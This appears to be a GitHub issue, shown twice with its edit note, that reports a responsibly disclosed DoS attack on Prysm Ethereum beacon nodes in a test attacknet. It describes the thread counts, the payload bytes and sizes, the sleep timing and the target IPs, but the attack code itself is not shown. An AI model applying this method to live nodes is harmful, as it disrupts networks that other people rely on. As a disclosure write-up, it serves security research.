You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Nov 20, 2021. It is now read-only.
The success of this attack was due to a 9 year old bug in the Go standard library. During the "post-mortem" @protolambda, @prestonvanloon, @raulk and I uncovered this bug and opted to responsibly disclose the details to the golang security team. See the link below for more details:
As a part of the responsible disclosure process, I opted to delete this issue until the vulnerability could be fixed and a security patch released. The following is the original description of the attack (unaltered). Enjoy!
Description
Prysm nodes are vulnerable to a DoS attack that prevents them from participating in consensus.
Attack scenario
Three out of four Prsym nodes were targeted by 2 AWS t2.small machines with a sustained DoS attack.
Impact
The effect that the DoS attack had on the attacknet was a prolonged loss finality; however, the network was able to recover to a healthy state within a few epochs once the attack stopped. The nodes under attack demonstrated high CPU usage, a large amount of outbound traffic, trouble finding peers in subnets and one node's local clock had a time disparity causing issues importing blocks.
Details
Attack Procedure
This is the code that the two machines ran to prevent finality on the attacknet
To execute the attack, I targeted the following IP addresses with three processes - two processes on one machine and one process on the other.
18.183.12.240
3.127.134.103
34.237.53.47
Each process spawned 500 threads that enter an infinite loop that perform the following steps:
connect to Prysm node
sends a ~65KB payload
Note: the attack definitely works with payloads xFF, xFE, ... , but x00 causes Prysm to disconnect
sleep for 20 seconds.
Note: the amount of time to sleep acts as a ratelimiter and is somewhat arbitrary, but experimentally it was lower than the Prysm node's timeout I noticed when using netcat.
When developing this attack, the first thing I attempted to do was use the same command that crashed Teku. Unfortunately, sending output from /dev/zero caused Prysm to immediately disconnect. Eventually, I found other payloads that would allow the connection to stay open (see above), but sending a large number of small packets (like I did to Teku) didn't seem as effective on Prysm. I switched to Python so I could tune the ratio better and found that a smaller number of large packets was more effective against Prysm.
Keep in mind that the goal here was to just take down the network so the attack was designed using a symptomatic approach (i.e. trial and error) with little regard for root cause analysis. That would have taken a lot more time to isolate runs, document them and compare performance to other clients.
One important thing to note is that this attack does NOT seem to be effective against Lighthouse.
Attack Log
The attack lasted from Epoch 1843 - 1864. I should have stopped at Epoch 1860, but the Beacon Chain Explorer for the Prysm Attacknet became unresponsive 1 slot before Epoch 1860. As a result, I had to start a local Prysm node to verify that the attack was successful. By the time the node sync'd up, the Beacon Chain Explorer was back online and the attack lasted over 20 epochs.
Here is a screenshot of my local node showing that finality was prevented for more than 16 epochs:
Recovery
Prysm's recovery from the attack was interesting to watch. Here are some screenshots from https://prysm-attack-0.beaconcha.in/ after the network recovered:
Here is a screenshot of my local node showing that Prysm recovered about 2 epochs after the attack ended:
The text was updated successfully, but these errors were encountered:
Quick Note
The success of this attack was due to a 9 year old bug in the Go standard library. During the "post-mortem" @protolambda, @prestonvanloon, @raulk and I uncovered this bug and opted to responsibly disclose the details to the golang security team. See the link below for more details:
https://groups.google.com/forum/#!msg/golang-announce/NyPIaucMgXo/GdsyQP6QAAAJ
As a part of the responsible disclosure process, I opted to delete this issue until the vulnerability could be fixed and a security patch released. The following is the original description of the attack (unaltered). Enjoy!
Description
Prysm nodes are vulnerable to a DoS attack that prevents them from participating in consensus.
Attack scenario
Three out of four Prsym nodes were targeted by 2 AWS t2.small machines with a sustained DoS attack.
Impact
The effect that the DoS attack had on the attacknet was a prolonged loss finality; however, the network was able to recover to a healthy state within a few epochs once the attack stopped. The nodes under attack demonstrated high CPU usage, a large amount of outbound traffic, trouble finding peers in subnets and one node's local clock had a time disparity causing issues importing blocks.
Details
Attack Procedure
This is the code that the two machines ran to prevent finality on the attacknet
The code is run as follows:
Here is some sample output from the attack run:
To execute the attack, I targeted the following IP addresses with three processes - two processes on one machine and one process on the other.
Each process spawned 500 threads that enter an infinite loop that perform the following steps:
When developing this attack, the first thing I attempted to do was use the same command that crashed Teku. Unfortunately, sending output from
/dev/zero
caused Prysm to immediately disconnect. Eventually, I found other payloads that would allow the connection to stay open (see above), but sending a large number of small packets (like I did to Teku) didn't seem as effective on Prysm. I switched to Python so I could tune the ratio better and found that a smaller number of large packets was more effective against Prysm.Keep in mind that the goal here was to just take down the network so the attack was designed using a symptomatic approach (i.e. trial and error) with little regard for root cause analysis. That would have taken a lot more time to isolate runs, document them and compare performance to other clients.
One important thing to note is that this attack does NOT seem to be effective against Lighthouse.
Attack Log
The attack lasted from Epoch 1843 - 1864. I should have stopped at Epoch 1860, but the Beacon Chain Explorer for the Prysm Attacknet became unresponsive 1 slot before Epoch 1860. As a result, I had to start a local Prysm node to verify that the attack was successful. By the time the node sync'd up, the Beacon Chain Explorer was back online and the attack lasted over 20 epochs.
Here are some screenshots from https://prysm-attack-0.beaconcha.in/ at the end of the attack:
Here is a screenshot of my local node showing that finality was prevented for more than 16 epochs:
Recovery
Prysm's recovery from the attack was interesting to watch. Here are some screenshots from https://prysm-attack-0.beaconcha.in/ after the network recovered:
Here is a screenshot of my local node showing that Prysm recovered about 2 epochs after the attack ended:
The text was updated successfully, but these errors were encountered: